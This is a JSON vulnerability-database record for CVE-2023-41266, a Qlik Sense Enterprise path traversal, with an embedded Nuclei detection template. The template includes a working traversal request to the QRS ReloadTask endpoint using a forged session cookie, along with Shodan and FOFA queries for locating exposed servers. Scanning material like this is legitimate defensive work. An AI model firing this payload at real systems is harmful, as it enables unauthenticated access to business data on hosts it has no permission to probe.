{"_links":{"capec":{"href":"/api/v1/vulnerability/cve-2023-41266/capec"},"cvss":{"href":"/api/v1/vulnerability/cve-2023-41266/cvss"},"cwe":{"href":"/api/v1/vulnerability/cve-2023-41266/cwe"},"enrichment":{"href":"/api/v1/vulnerability/cve-2023-41266/enrichment"},"gcve":{"href":"/api/v1/vulnerability/cve-2023-41266/gcve"},"self":{"href":"/api/v1/vulnerability/cve-2023-41266"},"sightings":{"href":"/api/v1/sightings/cve-2023-41266"}},"enrichments":{"cisa-kev":{"kev":true},"epss":{"epss":0.84843,"kev":true,"percentile":0.997},"nuclei":{"nuclei":true,"nuclei_template":"http/cves/2023/CVE-2023-41266.yaml","nuclei_template_severity":"medium","nuclei_template_yaml":"id: CVE-2023-41266\n\ninfo:\n  name: Qlik Sense Enterprise - Path Traversal\n  author: AdamCrosser\n  severity: medium\n  description: A path traversal vulnerability found in Qlik Sense Enterprise for Windows for versions May 2023 Patch 3 and earlier, February 2023 Patch 7 and earlier, November 2022 Patch 10 and earlier, and August 2022 Patch 12 and earlier allows an unauthenticated remote attacker to generate an anonymous session. This allows them to transmit HTTP requests to unauthorized endpoints. This is fixed in August 2023 IR, May 2023 Patch 4, February 2023 Patch 8, November 2022 Patch 11, and August 2022 Patch 13.\n  impact: |\n    Unauthenticated attackers can exploit path traversal to generate anonymous sessions and access unauthorized API endpoints, potentially extracting sensitive business intelligence data and manipulating Qlik Sense dashboards.\n  remediation: |\n    Update Qlik Sense Enterprise to August 2023 IR, May 2023 Patch 4, February 2023 Patch 8, November 2022 Patch 11, or August 2022 Patch 13 that properly validates resource paths and enforces authentication.\n  reference:\n    - https://community.qlik.com/t5/Official-Support-Articles/Critical-Security-fixes-for-Qlik-Sense-Enterprise-for-Windows/ta-p/2110801\n    - https://www.praetorian.com/blog/advisory-qlik-sense/\n    - https://www.praetorian.com/blog/qlik-sense-technical-exploit\n    - https://community.qlik.com/t5/Release-Notes/tkb-p/ReleaseNotes\n    - https://github.com/Ostorlab/KEV\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N\n    cvss-score: 6.5\n    cve-id: CVE-2023-41266\n    cwe-id: CWE-20\n    epss-score: 0.84843\n    epss-percentile: 0.99699\n    cpe: cpe:2.3:a:qlik:qlik_sense:august_2022:-:*:*:enterprise:windows:*:*\n  metadata:\n    verified: true\n    max-request: 1\n    vendor: qlik\n    product: qlik_sense\n    framework: windows\n    shodan-query:\n      - http.favicon.hash:-74348711\n      - http.html:\"qlik\"\n      - http.title:\"qlik-sense\"\n    fofa-query:\n      - app=\"qlik-sense\"\n      - title=\"qlik-sense\"\n      - icon_hash=-74348711\n      - body=\"qlik\"\n    google-query: intitle:\"qlik-sense\"\n  tags: cve2023,cve,qlik,traversal,kev,windows,vkev,vuln\n\nhttp:\n  - method: GET\n    path:\n      - \"{{BaseURL}}/resources/qmc/fonts/../../../qrs/ReloadTask?xrfkey=1333333333333337&filter=.ttf\"\n    headers:\n      Cookie: X-Qlik-Session=13333333-3333-3333-3333-333333333337\n      X-Qlik-Xrfkey: '1333333333333337'\n\n    matchers:\n      - type: dsl\n        dsl:\n          - status_code == 400\n          - contains(to_lower(set_cookie), 'x-qlik-session')\n          - contains(body, 'The comparison expression does not consist of three elements')\n        condition: and\n# digest: 490a00463044022076afd2413bd598b08a30ccfcac53bb74956520b3d8641f23ce3063fed70f5c1002203ba0f7105063c37145fa94c45323bbf53cc0843f21f6b8eaee8682244c3f1078:922c64590222798bb761d5b6d8e72950"}},"vuln_id":"cve-2023-41266"}